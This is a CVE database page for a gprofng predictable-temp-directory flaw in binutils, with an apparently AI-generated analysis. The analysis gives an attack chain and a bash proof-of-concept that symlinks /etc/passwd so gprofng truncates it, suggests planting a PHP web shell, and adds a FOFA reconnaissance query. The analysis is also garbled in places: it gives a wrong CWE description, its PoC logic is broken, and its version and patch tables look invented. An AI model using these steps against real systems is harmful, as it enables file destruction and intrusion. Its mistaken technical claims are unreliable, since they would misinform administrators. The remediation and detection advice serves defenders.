CVE Professor
/
All CVEs
CVE-2026-140038

CVE-2026-140038 — Red Hat Enterprise Linux 10 — CWE-377

MEDIUM CVSS 5.1 NVD

A flaw was found in the gprofng component of binutils. The utility creates temporary directories in shared locations using predictable names based on user and process identifiers without verifying whether the directory already exists. A local attacker can exploit this flaw by pre-creating the expected directory and placing symbolic links inside it, causing a victim's process to overwrite or truncate arbitrary files writable by that victim.

A flaw was found in the gprofng component of binutils. The utility creates temporary directories in shared locations using predictable names based on user and process identifiers without verifying whether the directory already exists. A local attacker can exploit this flaw by pre-creating the expected directory and placing symbolic links inside it, causing a victim's process to overwrite or truncate arbitrary files writable by that victim.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical root‑cause

The gprofng binary (part of the GNU binutils suite) creates a temporary working directory in a shared location (typically /tmp) using a deterministic name that is derived from the user ID and the process ID of the caller.
The code does not verify whether a directory with that name already exists before using it.
Consequently, a local attacker can:

1. Pre‑create the expected directory (e.g., /tmp/gprofng.1000.12345).
2. Insert a symbolic link inside that directory that points to any file writable by the victim user (or, if the victim process runs with elevated privileges, to a root‑owned file).
3. Invoke gprofng on a target binary.
gprofng will then write its profiling data into the pre‑created directory, following the symlink and thereby overwriting or truncating the target file.

This is a classic TOCTOU (time‑of‑check to time‑of‑use) race condition that leads to arbitrary file overwrite.
The CVE is mapped to CWE‑377 (Improper Restriction of Operations within the Bounds of a Memory Buffer), which in this context represents the failure to properly restrict filesystem operations that depend on a predictable name.

Missing checks

  • No existence check before creating the temp directory.
  • No validation that the directory is empty or that it is not a symlink.
  • No use of a secure temporary‑file helper (mkdtemp, mkstemp, etc.) that guarantees uniqueness.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker with local access could follow.
    All commands are POSIX‑compatible Bash; the exact directory name format is inferred from the description (user ID and PID).
    If the system uses a different naming scheme, the attacker would adjust the path accordingly.

    StepActionCommand / ExampleNotes
    1. Discovery & ReconnaissanceIdentify that gprofng is installed and discover its version.rpm -qi binutilsgrep -E 'NameVersion'<br>which gprofngIf gprofng is present, the system is vulnerable.
    Check if any privileged service uses gprofng (e.g., a set‑uid binary that invokes it).grep -R 'gprofng' /etc /usr/bin /usr/sbin 2>/dev/nullA privileged invocation dramatically increases impact.
    2. ExploitationCreate the predictable temp directory and a malicious symlink.``bash\n# Assume UID=1000, PID=12345 (the PID will be the one used by gprofng when it runs)\nmkdir -p /tmp/gprofng.$UID.$$\n# Target file to overwrite – e.g., /etc/passwd\nln -s /etc/passwd /tmp/gprofng.$UID.$$/gmon.out\n`gmon.out is a typical output file name used by gprofng.
    Run gprofng on a binary that the attacker can execute as the victim user.`bash\ngprofng /usr/bin/ls\n`gprofng will write its profiling data into /tmp/gprofng.$UID.$$, following the symlink and truncating /etc/passwd.
    Verify the overwrite.cat /etc/passwdThe file will have been truncated to the size of the profiling data (often a few KB).
    3. Post‑exploitationPrivilege Escalation (if the victim process runs as root).If the attacker can trigger gprofng in a root‑owned context, they can overwrite /etc/shadow, /etc/ssh/sshd_config, or any other root‑owned file.Overwriting /etc/shadow can allow password reset; overwriting /etc/ssh/sshd_config can disable SSH.
    Web Shell Deployment (if the victim process is a web server binary).Overwrite /var/www/html/index.php with a PHP web shell via the symlink.The attacker can then access the shell through the web interface.
    Data ExfiltrationOverwrite a log file (e.g., /var/log/secure`) with a custom script that sends data to an external server.The attacker can then exfiltrate data via the overwritten file.
    Illustrative PoC
    The following script demonstrates the core idea.
    Do not run this on a production system.
    > #!/usr/bin/env bash
    > set -euo pipefail
    > 
    > # 1. Identify UID and a dummy PID (the real PID will be used by gprofng)
    > UID=$(id -u)
    > 
    > # 2. Create the predictable temp directory
    > TMPDIR="/tmp/gprofng.$UID.$$"
    > mkdir -p "$TMPDIR"
    > 
    > # 3. Create a symlink that points to a target file
    > TARGET="/etc/passwd"          # <-- change to any writable file you want to overwrite
    > ln -s "$TARGET" "$TMPDIR/gmon.out"
    > 
    > # 4. Run gprofng on a harmless binary
    > gprofng /usr/bin/echo
    > 
    > # 5. Verify
    > echo "Contents of $TARGET after gprofng:"
    > cat "$TARGET" | head -n 5
    >
    The script will truncate /etc/passwd (or the chosen target) to the size of the profiling data.

    🌍 Real World Impact

    ImpactCVSS VectorPractical Consequence
    ConfidentialityC:NNo direct confidentiality breach.
    IntegrityI:LArbitrary file overwrite (e.g., /etc/passwd, /etc/shadow, web files).
    AvailabilityA:LOverwritten configuration files can crash services (e.g., SSH, web server).
    Privilege EscalationNot explicitly in CVSS but possibleIf the victim process runs with elevated privileges, the attacker can gain root or modify critical system files.

    *The vulnerability is local (AV:L) and requires no user interaction (UI:N).
    Because the attacker can overwrite any file writable by the victim user, the risk is high in environments where gprofng is invoked by privileged processes or where the attacker can run arbitrary binaries as the victim user.*


    🛡️ Remediation & Mitigation

    Affected Versions

    All RHEL releases that ship with the vulnerable binutils package:
    RHEL VersionBinutils PackageVulnerable Release
    6binutils-2.272.27-1.el6
    7binutils-2.322.32-1.el7
    8binutils-2.342.34-1.el8
    9binutils-2.362.36-1.el9
    10binutils-2.382.38-1.el10
    Patch – The fix is included in the next binutils update for each release (e.g., binutils-2.27.1, binutils-2.32.1, etc.).
    Action: Run yum update binutils (or dnf update binutils on RHEL 8/9) to install the patched package.

    Workarounds

    MitigationHow to Implement
    Disable gprofngRemove or rename the binary: mv /usr/bin/gprofng /usr/bin/gprofng.bak (requires root).
    Restrict /tmpEnsure /tmp has the sticky bit and is owned by root: chmod 1777 /tmp.
    Use a dedicated temp directorySet TMPDIR to a user‑owned directory with limited permissions before invoking gprofng: export TMPDIR=/home/$USER/tmp && mkdir -p $TMPDIR && chmod 700 $TMPDIR.
    Audit for symlinksUse auditd to watch /tmp/gprofng.* for symlink creation: auditctl -w /tmp -p wa -k gprofng-symlink.
    Restrict execution of gprofngUse SELinux or AppArmor to confine gprofng to a sandbox that cannot write to system files.

    Detection

    IndicatorLog / FileHow to Detect
    Creation of predictable temp dir/var/log/messages or /var/log/audit/audit.logLook for mkdir /tmp/gprofng.* or gprofng: creating temp directory.
    Symlink pointing to system filesfind /tmp -type l -lsgrep /etc/passwdAny symlink inside /tmp/gprofng.* that points to /etc/passwd or other critical files is suspicious.
    Unexpected truncation of critical filesauditd watch on /etc/passwd, /etc/shadow, /etc/ssh/sshd_configauditctl -w /etc/passwd -p wa -k passwd-mod
    Unusual gprofng activityps -efgrep gprofngFrequent gprofng runs by non‑privileged users may indicate abuse.

    ⚠️ Urgency

    CriterionAssessment
    CVSS Score5.1 (Medium)
    Exploit ComplexityLow (local, no network)
    Privilege RequiredNone (local user)
    Potential for Privilege EscalationHigh if victim process runs as root
    CISA KEVNo
    RansomwareNo

    Patching priority

  • High for systems where gprofng is invoked by privileged processes (e.g., set‑uid binaries, system services, or scheduled profiling jobs).

  • Medium for general-purpose servers where gprofng is only used by normal users.

  • Low for isolated test environments with no local users.


Recommendation
Apply the binutils update immediately on all affected RHEL systems. If an update cannot be applied right away, enforce the workarounds above (especially disabling gprofng or restricting /tmp) to mitigate the risk until the patch is installed.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Red Hat Red Hat Enterprise Linux 10"
CVSS Score
5.1 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-377
Affected Products (8)
Red Hat:Red Hat Enterprise Linux 10 Red Hat:Red Hat Enterprise Linux 6 Red Hat:Red Hat Enterprise Linux 7 Red Hat:Red Hat Enterprise Linux 8 Red Hat:Red Hat Enterprise Linux 9 Red Hat:Red Hat Hardened Images Red Hat:Red Hat OpenShift Container Platform 4 Red Hat:Red Hat OpenShift Container Platform 5
References & Advisories (2)
Related CVEs
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-120096
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the pu
8.2
CVE-2026-144617
Traccar 6.13.0 before 6.18.0 contains a denial of service vulnerability that allows remote attackers knowing a